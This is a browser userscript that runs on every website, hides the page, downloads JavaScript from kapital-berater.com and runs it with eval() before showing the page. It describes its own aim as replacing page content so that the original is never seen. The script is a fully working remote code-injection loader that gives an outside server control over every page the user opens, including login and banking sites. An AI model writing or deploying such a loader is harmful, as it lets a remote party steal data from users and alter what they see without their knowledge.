martinsenal / KapitalBerater Remote Loader

// ==UserScript==
// @name         KapitalBerater Remote Loader
// @namespace    https://kapital-berater.com/
// @version      1.0.0
// @description  Loads a remote script from kapital-berater.com and applies DOM replacements without showing original content first.
// @author       YourName
// @license      MIT
// @match        *://*/*
// @grant        none
// @run-at       document-start
// ==/UserScript==

(function () {
    // Hide content immediately
    const css = document.createElement('style');
    css.innerHTML = 'html { visibility: hidden !important; }';
    document.documentElement.appendChild(css);

    window.addEventListener('DOMContentLoaded', async () => {
        try {
            const timestamp = Date.now();
            const remoteUrl = `https://kapital-berater.com/script-replace.js?ts=${timestamp}`; // ✅ Replace with your actual script URL

            const response = await fetch(remoteUrl, { cache: 'no-store' });
            if (!response.ok) throw new Error('Failed to fetch script');

            const code = await response.text();
            eval(code);
        } catch (err) {
            console.error('🚫 Script load failed:', err);
        } finally {
            document.documentElement.style.visibility = 'visible';
        }
    });
})();